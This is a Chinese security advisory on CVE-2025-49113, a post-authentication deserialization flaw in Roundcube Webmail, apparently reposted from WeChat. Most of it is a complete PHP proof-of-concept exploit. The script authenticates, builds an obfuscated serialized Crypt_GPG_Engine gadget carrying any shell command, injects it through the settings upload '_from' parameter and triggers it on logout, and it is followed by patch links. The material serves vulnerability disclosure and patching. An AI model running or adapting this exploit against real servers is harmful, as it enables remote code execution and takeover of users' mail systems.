0x00 前言
Roundcube Webmail是一个开源的基于web的电子邮件客户端,旨在提供用户友好的界面和强大的功能,使用户能够通过web浏览器方便地访问和管理他们的电子邮件。
Roundcube支持标准的邮件协议(如IMAP和SMTP),并提供了许多常见的邮件功能,如收发邮件、管理联系人、创建日历事件等。其界面简洁直观,易于使用,同时还支持插件扩展,用户可以根据自己的需求定制功能。
Roundcube Webmail被广泛应用于个人用户、企业和组织,为他们提供了一个方便、安全的电子邮件管理解决方案。
0x01 漏洞描述
在program/actions/settings/upload.php文件中没有对 _from参数进行验证,导致允许经过身份验证的用户触发反序列化,执行远程代码。
0x02 CVE编号
CVE-2025-49113
0x03 影响版本
Roundcube Webmail <1.5.10
1.6.0<= Roundcube Webmail <1.6.11
0x04 漏洞详情
POC:
https://github.com/fearsoff-org/CVE-2025-49113
/**
* Roundcube ≤ 1.6.10 Post-Auth RCE via PHP Object Deserialization [CVE-2025-49113]
*
* Universal PoC for any PHP version
*
* Author: Kirill Firsov https://x.com/k_firsov
* Organization: FearsOff Cybersecurity (https://fearsoff.org)
* Writeup: https://fearsoff.org/research/roundcube
*
*
* Main execution flow.
* php CVE-2025-49113.php http://roundcube.local username password "touch /tmp/pwned"
*
*
* Disclaimer:
* This proof-of-concept code is provided for educational and research purposes only.
* The author and contributors assume no responsibility for any misuse or damage
* resulting from the use of this code. Unauthorized use on systems you do not own
* or have explicit permission to test is illegal and strictly prohibited. Use at your own risk.
*
* @param array<string> $argv
* @return void
*/
functionmain(array$argv): void
{
message('Roundcube ≤ 1.6.10 Post-Auth RCE via PHP Object Deserialization [CVE-2025-49113]');
if(count($argv) < 5) {
message(
sprintf(
'Usage: php %s <target_url> <username> <password> <command>',
basename(__FILE__)
),
1
);
}
[$_, $targetUrl, $username, $password, $command] = $argv;
try {
validateUrl($targetUrl);
// Initial request to get CSRF token and starting session cookies
[$csrfToken, $initialCookie] = fetchCsrfTokenAndCookie($targetUrl);
// Authenticate using the initial cookie
$sessionCookie = authenticate(
$targetUrl,
$username,
$password,
$csrfToken,
$initialCookie
);
message("Command to be executed: n" . $command);
// Prepare and inject payload
[$payloadName, $payloadFile] = calcPayload($command);
injectPayload($targetUrl, $sessionCookie, $payloadName, $payloadFile);
// Trigger and cleanup
executePayload($targetUrl, $sessionCookie);
message('Exploit executed successfully');
} catch(Exception $e) {
message('Error: ' . $e->getMessage(), 1);
}
}
// -----------------------------------------------------------------------------
// Helper functions
// -----------------------------------------------------------------------------
/**
* Validates the target URL.
*
* @param string $url
* @throws Exception
*/
functionvalidateUrl(string$url): void
{
if(false === filter_var($url, FILTER_VALIDATE_URL)) {
throw new Exception('Invalid target URL: ' . $url);
}
}
/**
* Retrieves CSRF token and session cookie from initial GET.
*
* @param string $targetUrl
* @return array{string, string} [urlencoded csrf token, initial cookie string]
* @throws RuntimeException If request fails or token missing
*/
functionfetchCsrfTokenAndCookie(string$targetUrl): array
{
message('Retrieving CSRF token and session cookie...');
$context = stream_context_create(['http' => ['method' => 'GET']]);
$body = @file_get_contents($targetUrl . '/', false, $context);
if(false === $body) {
throw new RuntimeException('Failed to fetch initial page for CSRF token');
}
$rawHeaders = $http_response_header ?? [];
$headersStr = implode("rn", $rawHeaders);
$token = getToken($body);
$cookie = getCookie($headersStr);
return [$token, $cookie];
}
/**
* Authenticates to Roundcube and returns the updated session cookie.
*
* @param string $targetUrl
* @param string $user
* @param string $pass
* @param string $token
* @param string $cookie Existing cookie from initial request
* @return string Combined session cookie
* @throws RuntimeException on authentication failure
*/
functionauthenticate(
string $targetUrl,
string $user,
string $pass,
string $token,
string $cookie
): string {
message("Authenticating user: {$user}");
$postData = http_build_query([
'_token' => $token,
'_task' => 'login',
'_action' => 'login',
'_timezone' => '_default_',
'_url' => '_task=login',
'_user' => $user,
'_pass' => $pass,
]);
$headers = [
'Content-Type: application/x-www-form-urlencoded',
"Cookie: {$cookie}",
];
$context = stream_context_create([
'http' => [
'method' => 'POST',
'header' => implode("rn", $headers),
'content' => $postData,
'follow_location' => 0,
],
]);
$body = @file_get_contents($targetUrl . '/?_task=login', false, $context);
$respHeaders = implode("rn", $http_response_header ?? []);
if(false === $body || !preg_match('#HTTP/d+.d+s+302#', $respHeaders)) {
throw new RuntimeException('Authentication failed: ' . PHP_EOL . ($body ?: 'no response'));
}
message('Authentication successful');
return getCookie($respHeaders);
}
/**
* Injects the malicious payload via the user settings upload endpoint.
*
* @param string $targetUrl
* @param string $cookie
* @param string $payloadName
* @param string $payloadFile
* @return void
* @throws Exception
*/
functioninjectPayload(string$targetUrl, string$cookie, string$payloadName, string$payloadFile): void
{
message('Injecting payload...');
$boundary = '------a_rule_for_WAF_to_block_fool_exploitation';
$multipart = implode("rn", [
'--' . $boundary,
'Content-Disposition: form-data; name="_file[]"; filename="' . $payloadFile . '"',
'Content-Type: image/png',
'',
base64_decode('iVBORw0KGgoAAAANSUhEUgAAAAgAAAAIAQMAAAD+wSzIAAAABlBMVEX///+/v7+jQ3Y5AAAADklEQVQI12P4AIX8EAgALgAD/aNpbtEAAAAASUVORK5CYII'),
'--' . $boundary . '--',
]);
$headers = implode("rn", [
'X-Requested-With: XMLHttpRequest',
'Content-Type: multipart/form-data; boundary=' . $boundary,
'Cookie: ' . $cookie,
]);
$context = stream_context_create([
'http' => [
'method' => 'POST',
'header' => $headers,
'content' => $multipart,
],
]);
$url = sprintf(
'%s/?_from=edit-%s&_task=settings&_framed=1&_remote=1&_id=1&_uploadid=1&_unlock=1&_action=upload',
$targetUrl,
urlencode($payloadName)
);
message('End payload: ' . $url);
$response = @file_get_contents($url, false, $context);
if(false === $response || strpos($response, 'preferences_time') === false) {
throw new Exception('Payload injection failed, got: ' . ($response ?: 'no response'));
}
message('Payload injected successfully');
}
/**
* Triggers execution of the injected payload by serializing session data.
*
* @param string $targetUrl
* @param string $cookie
* @return void
*/
functionexecutePayload(string$targetUrl, string$cookie): void
{
message('Executing payload...');
$token = getToken(
file_get_contents(
$targetUrl . '/',
false,
stream_context_create(['http' => ['header' => 'Cookie: ' . $cookie]])
)
);
file_get_contents(
sprintf('%s/?_task=logout&_token=%s', $targetUrl, $token),
false,
stream_context_create(['http' => ['header' => 'Cookie: ' . $cookie]])
);
}
/**
* Extracts and encodes the CSRF token from response body.
*
* @param string $body HTTP response body
* @return string URL-encoded token
* @throws RuntimeException If token is not found
*/
functiongetToken(string$body): string
{
if(preg_match('/(?:"request_token":"|&_token=)([^"&]+)(?:"|s)/Uuis', $body, $matches)) {
return rawurlencode($matches[1]);
}
throw new RuntimeException('CSRF token not found in response body');
}
/**
* Aggregates Set-Cookie headers into a single cookie string.
*
* @param string $headers Raw HTTP headers
* @param string $existing Any existing cookie string to preserve
* @return string Concatenated cookies
*/
functiongetCookie(string$headers, string$existing = ''): string
{
$cookies = [];
if(preg_match_all('/^Set-Cookie:s*([^=]+)=([^;]+);/mi', $headers, $matches, PREG_SET_ORDER)) {
foreach($matches as [$full, $key, $value]) {
if($value === '-del-') {
continue;
}
$cookies[] = sprintf('%s=%s', $key, $value);
}
}
return $existing . implode(';', $cookies) . (!empty($cookies) ? ';' : '');
}
/**
* Magic is happening here
*/
functioncalcPayload($cmd){
classCrypt_GPG_Engine{
private $_gpgconf;
function__construct($cmd){
$this->_gpgconf = $cmd.';#';
}
}
$payload = serialize(new Crypt_GPG_Engine($cmd));
$payload = process_serialized($payload) . 'i:0;b:0;';
$append = strlen(12 + strlen($payload)) - 2;
$_from = '!";i:0;'.$payload.'}";}}';
$_file = 'x|b:0;preferences_time|b:0;preferences|s:'.(78 + strlen($payload) + $append).':\"a:3:{i:0;s:'.(56 + $append).':\".png';
$_from = preg_replace('/(.)/', '$1' . hex2bin('c'.rand(0,9)), $_from); //little obfuscation
return [$_from, $_file];
}
/**
* PHPGGC magic
*/
functionprocess_serialized($serialized, $full = false){
$new = '';
$last = 0;
$current = 0;
$pattern = '#bs:([0-9]+):"#';
while(
$current < strlen($serialized) &&
preg_match(
$pattern, $serialized, $matches, PREG_OFFSET_CAPTURE, $current
)
)
{
$p_start = $matches[0][1];
$p_start_string = $p_start + strlen($matches[0][0]);
$length = $matches[1][0];
$p_end_string = $p_start_string + $length;
if(!(
strlen($serialized) > $p_end_string + 2 &&
substr($serialized, $p_end_string, 2) == '";'
))
{
$current = $p_start_string;
continue;
}
$string = substr($serialized, $p_start_string, $length);
$clean_string = '';
for($i=0; $i < strlen($string); $i++)
{
$letter = $string[$i];
if($full || !ctype_print($letter) || $letter == '\' || $letter == '|' || $letter == '.' /* rc spec */)
$letter = sprintf("\%02x", ord($letter));
$clean_string .= $letter;
}
$new .=
substr($serialized, $last, $p_start - $last) .
'S:' . $matches[1][0] . ':"' . $clean_string . '";'
;
$last = $p_end_string + 2;
$current = $last;
}
$new .= substr($serialized, $last);
return $new;
}
/**
* Prints a formatted message and optionally exits.
*
* @param string $text Message to print
* @param int $exitCode Exit code (0 to continue)
* @return void
*/
functionmessage(string$text, int$exitCode = 0): void
{
echo '### ' . $text . PHP_EOL . PHP_EOL;
if($exitCode !== 0) {
exit($exitCode);
}
}
main($argv);
0x05 参考链接
https://github.com/roundcube/roundcubemail/pull/9865
https://roundcube.net/news/2025/06/01/security-updates-1.6.11-and-1.5.10
原文始发于微信公众号(信安百科):CVE-2025-49113|Roundcube Webmail反序列化漏洞(POC)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论